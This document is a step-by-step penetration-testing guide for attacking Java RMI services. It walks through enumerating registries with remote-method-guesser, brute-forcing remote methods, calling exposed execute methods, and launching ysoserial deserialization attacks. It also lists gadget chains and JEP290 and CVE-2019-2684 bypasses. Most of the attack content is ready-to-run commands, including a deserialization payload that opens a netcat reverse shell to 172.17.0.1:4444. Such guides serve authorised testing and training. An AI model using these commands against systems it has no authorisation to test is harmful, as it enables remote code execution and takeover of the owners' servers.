Java RMI Pentesting
Java Remote Method Invocation (RMI) is an object-oriented RPC mechanism that allows objects in one Java VM to call methods on objects in another Java VM. From a security perspective, RMI services are common attack vectors due to insecure deserialization, exposed methods, and misconfigurations.
Quick Start
When you encounter a Java RMI service, follow this workflow:
- Enumerate the RMI registry and bound names
- Guess methods on exposed services
- Exploit identified vulnerabilities (deserialization, RCE methods, etc.)
Common Ports
# Default RMI ports to check
1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999
Note: Remote objects often bind to random high ports. Check nmap output for java-rmi or ssl/java-rmi services.
Step 1: Enumerate RMI Services
Use remote-method-guesser (rmg) to enumerate the RMI registry:
# Basic enumeration
rmg enum {TARGET_IP} {PORT}
# Example
rmg enum 172.17.0.2 9010
This reveals:
- Bound names - Human-readable names for RMI services
- Class names - Implemented interfaces/classes
- Endpoints - IP:port where objects listen
- Vulnerabilities - CVE-2019-2684, JEP290 bypass, deserialization issues
- Codebase URLs - Where classes are loaded from
Key Enumeration Outputs to Watch For
| Finding | Meaning | Action |
|---|---|---|
Vulnerable on CVE-2019-2684 |
Localhost bypass possible | Exploit with rmg |
JEP290 bypass: Vulnerable |
Deserialization filter bypass | Use rmg serial |
Deserialization allowed |
Unsafe deserialization | Craft gadget chains |
useCodebaseOnly=false |
Server parses codebase | Potential RCE |
Security Manager: Current Default |
Protection enabled | May need bypass |
Step 2: Analyze ObjID for Service Uptime
ObjID values can reveal when a service started:
rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
This shows the timestamp when the RMI object was created, helping identify:
- Service restarts
- Deployment changes
- Correlation with other vulnerabilities
Step 3: Bruteforce Remote Methods
Even without identified vulnerabilities, RMI services may expose dangerous methods. RMI doesn't support method enumeration, so bruteforce is necessary:
# Guess methods on all bound services
rmg guess {TARGET_IP} {PORT}
# Example output shows discovered methods:
# [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
# [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
Method Guessing Strategy
- Run
rmg guessto discover method signatures - Look for dangerous method names:
execute,system,eval,run,login,upload - Check parameter types for injection points (String, HashMap, Object)
Step 4: Exploit Identified Methods
Call Discovered Methods
# Execute a discovered method
rmg call {TARGET_IP} {PORT} '{ARGUMENT}' \
--bound-name '{SERVICE_NAME}' \
--signature '{METHOD_SIGNATURE}' \
--plugin GenericPrint.jar
# Example
rmg call 172.17.0.2 9010 '"id"' \
--bound-name plain-server \
--signature "String execute(String dummy)" \
--plugin GenericPrint.jar
Deserialization Attacks
When deserialization is possible, use ysoserial gadgets:
# Deserialization attack with CommonsCollections6
rmg serial {TARGET_IP} {PORT} CommonsCollections6 '{PAYLOAD}' \
--bound-name '{SERVICE_NAME}' \
--signature '{METHOD_SIGNATURE}'
# Example
rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' \
--bound-name plain-server \
--signature "String execute(String dummy)"
Common Gadgets
CommonsCollections6- Most reliable, works on many versionsCommonsCollections5- Alternative for older JavaJdk7u2- For very old Java versionsAnTrinh- JEP290 bypass gadget
Step 5: Known Interface Exploitation
If rmg identifies a known class (e.g., JMX Server), use the known action:
# Get details on known RMI classes
rmg known javax.management.remote.rmi.RMIServerImpl_Stub
JMX Server Exploitation
JMX RMI services often expose:
- MLet MBean - Dynamic MBean loading = RCE
- Deserialization - Even after CVE-2016-3427, RMIConnection is unfiltered
Use beanshooter for JMX exploitation.
Step 6: Search for Source Code
Use bound names and class names to search:
# Search GitHub for the interface
site:github.com "de.qtc.rmg.server.interfaces.IPlainServer"
# Search for bound names
site:github.com "plain-server" "RMI"
Finding source code reveals:
- All available methods
- Authentication bypasses
- Hardcoded credentials
- Additional vulnerabilities
Tools Reference
| Tool | Purpose | Command |
|---|---|---|
| remote-method-guesser | Full RMI pentesting suite | `rmg enum |
| rmiscout | Method bruteforcing | rmiscout.py |
| BaRMIe | RMI enumeration | barmie.py |
| beanshooter | JMX exploitation | beanshooter.py |
Common Vulnerabilities
CVE-2019-2684 (Localhost Bypass)
RMI registry allows unbind operations that bypass localhost restrictions.
Check: rmg enum shows Vulnerable on localhost bypass enumeration
Exploit: Use rmg with appropriate payload
JEP290 Bypass
JEP290 added deserialization filters, but many implementations have bypasses.
Check: rmg enum shows JEP290 bypass: Vulnerable
Exploit: Use rmg serial with AnTrinh or other bypass gadgets
Insecure Deserialization
Custom RMI services often lack deserialization filters.
Check: rmg enum shows Deserialization allowed
Exploit: Use rmg serial with ysoserial gadgets
Workflow Summary
# 1. Enumerate
rmg enum {IP} {PORT}
# 2. Check ObjID for uptime
rmg objid '{OBJID}'
# 3. Guess methods
rmg guess {IP} {PORT}
# 4. Call dangerous methods
rmg call {IP} {PORT} '{ARG}' --bound-name '{NAME}' --signature '{SIG}'
# 5. Deserialization attacks
rmg serial {IP} {PORT} CommonsCollections6 '{PAYLOAD}' --bound-name '{NAME}' --signature '{SIG}'
# 6. Known interfaces
rmg known '{CLASS_NAME}'
Tips
- Always enumerate first - Don't skip the
rmg enumstep - Check all ports - RMI objects bind to random ports
- Look for codebase URLs - These often reveal internal paths
- Search GitHub - Bound names and class names are often unique
- Try multiple gadgets - Different Java versions need different payloads
- Use GenericPrint.jar - For testing method calls without side effects